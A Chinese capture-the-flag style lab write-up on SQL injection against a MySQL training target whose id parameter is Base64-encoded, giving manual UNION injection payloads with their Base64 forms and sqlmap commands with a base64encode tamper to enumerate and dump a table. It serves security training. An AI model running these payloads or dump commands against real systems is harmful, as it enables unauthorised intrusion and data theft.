墨者:SQL注入实战-MySQL

1. 墨者学院:SQL注入实战-MySQL🚀

2. 实训重点目标✨

目标一: 了解sqlmap的使用及其tamper 插件的使用;

目标二: 了解base64编码及解码。


3. 解题方向🔍

目标网站的id参数通过Base64编码传输,因此:

  • 手工注入:需将SQL语句Base64编码后注入
  • SQLMAP工具 :需使用--tamper=base64encode自动编码Payload(有效载荷:是指攻击者发送给目标系统的恶意数据或代码,用于触发漏洞或执行特定操作)

4. 手工注入方式🎯

4.1 判断字段数⚡

sql 复制代码
1 order by 3

Base64编码:

复制代码
MSBvcmRlciBieSAz

4.2 确定回显位⚡

sql 复制代码
1 and 1=2 union select 1,2

sql 复制代码
-1 union select 1,2

Base64编码:

复制代码
MSBhbmQgMT0yIHVuaW9uIHNlbGVjdCAxLDI=

LTEgdW5pb24gc2VsZWN0IDEsMg==

4.3 获取数据库信息⚡

sql 复制代码
1 and 1=2 union select database(),version()

Base64编码:

复制代码
MSBhbmQgMT0yIHVuaW9uIHNlbGVjdCBkYXRhYmFzZSgpLHZlcnNpb24oKQ==

4.4 获取系统信息⚡

sql 复制代码
1 and 1=2 union select @@version_compile_os,user()

Base64编码:

复制代码
MSBhbmQgMT0yIHVuaW9uIHNlbGVjdCBAQHZlcnNpb25fY29tcGlsZV9vcyx1c2VyKCk=

4.5 爆表名⚡

sql 复制代码
1 and 1=2 union select group_concat(table_name),2 from information_schema.tables where table_schema='test'

Base64编码:

复制代码
MSBhbmQgMT0yIHVuaW9uIHNlbGVjdCBncm91cF9jb25jYXQodGFibGVfbmFtZSksMiBmcm9tIGluZm9ybWF0aW9uX3NjaGVtYS50YWJsZXMgd2hlcmUgdGFibGVfc2NoZW1hPSd0ZXN0Jw==

4.6 爆列名⚡

sql 复制代码
1 and 1=2 union select group_concat(column_name),2 from information_schema.columns where table_name='data'

Base64编码:

复制代码
MSBhbmQgMT0yIHVuaW9uIHNlbGVjdCBncm91cF9jb25jYXQoY29sdW1uX25hbWUpLDIgZnJvbSBpbmZvcm1hdGlvbl9zY2hlbWEuY29sdW1ucyB3aGVyZSB0YWJsZV9uYW1lPSdkYXRhJw==

4.7 获取数据⚡

sql 复制代码
1 and 1=2 union select group_concat(thekey),2 from data

Base64编码:

复制代码
MSBhbmQgMT0yIHVuaW9uIHNlbGVjdCBncm91cF9jb25jYXQodGhla2V5KSwyIGZyb20gZGF0YQ==

5. SQLMAP工具测试🎯

5.1 获取所有数据库⚡

bash 复制代码
python sqlmap.py -u "http://124.70.71.251:49181/show.php?id=1" --dbs --batch --tamper=base64encode

5.2 获取test库的表⚡

bash 复制代码
python sqlmap.py -u "http://124.70.71.251:49181/show.php?id=1" -D test --tables --batch --tamper=base64encode

5.3 获取data表的列⚡

bash 复制代码
python sqlmap.py -u "http://124.70.71.251:49181/show.php?id=1" -D test -T data --columns --batch --tamper=base64encode

5.4 导出数据⚡

bash 复制代码
python sqlmap.py -u "http://124.70.71.251:49181/show.php?id=1" -D test -T data -C id,title,main,thekey --dump --batch --tamper=base64encode

5.5 清理缓存⚡

bash 复制代码
python sqlmap.py --purge

该指令用于清除sqlmap的缓存,因为重启靶场,端口会发生变化,可能获取到的password是之前的数据,详细的sqlmap命令获取如下:

bash 复制代码
python sqlmap.py -h

5.6 参数说明表⭐

参数 作用
--dbs 枚举所有数据库
-D test 指定目标数据库
--tables 枚举表名
-T data 指定目标表
--columns 枚举列名
--dump 导出数据
--tamper=base64encode 自动Base64编码Payload

6. 在线工具🔧

  1. 加菲工具:https://www.orcc.top/tools/base64
  2. 锤子工具:https://www.toolhelper.cn/EncodeDecode/Base64
  3. 白盒子工具:https://www.baihezi.com/base64

7. 总结🏁

  1. Base64编码的SQL注入需手工编码或使用tamper插件
  2. 手工注入需逐步验证回显位和数据结构
  3. sqlmap可自动化完成全流程检测

声明:本文仅用于安全学习,严禁非法测试! ❗❗❗

相关推荐
m0_6197311915 分钟前
linux配置数据库
linux·运维·数据库
重启的码农23 分钟前
kv数据库-leveldb (16) 跨平台封装-环境 (Env)
数据库
用户6120414922131 小时前
jsp+servlet做的医院挂号看诊管理系统
java·javascript·mysql
COWORKSHOP2 小时前
华为芯片泄密案警示:用Curtain e-locker阻断内部数据泄露
运维·服务器·前端·数据库·安全·华为
青柠编程2 小时前
基于Spring Boot与SSM的中药实验管理系统架构设计
java·开发语言·数据库
塔中妖2 小时前
Spring Boot 启动时将数据库数据预加载到 Redis 缓存
数据库·spring boot·缓存
SelectDB技术团队2 小时前
Apache Doris 4.0 AI 能力揭秘(二):为企业级应用而生的 AI 函数设计与实践
数据库·人工智能·apache·olap·mcp
爱敲代码的TOM2 小时前
深入MySQL底层3-事务与锁机制
数据库·mysql
奋斗的蛋黄2 小时前
MySQL查询性能优化核心知识点总结
数据库·mysql
熊文豪2 小时前
KingbaseES数据库SSL安全传输与数据完整性保护技术详解
数据库·安全·ssl·kingbasees·金仓数据库·电科金仓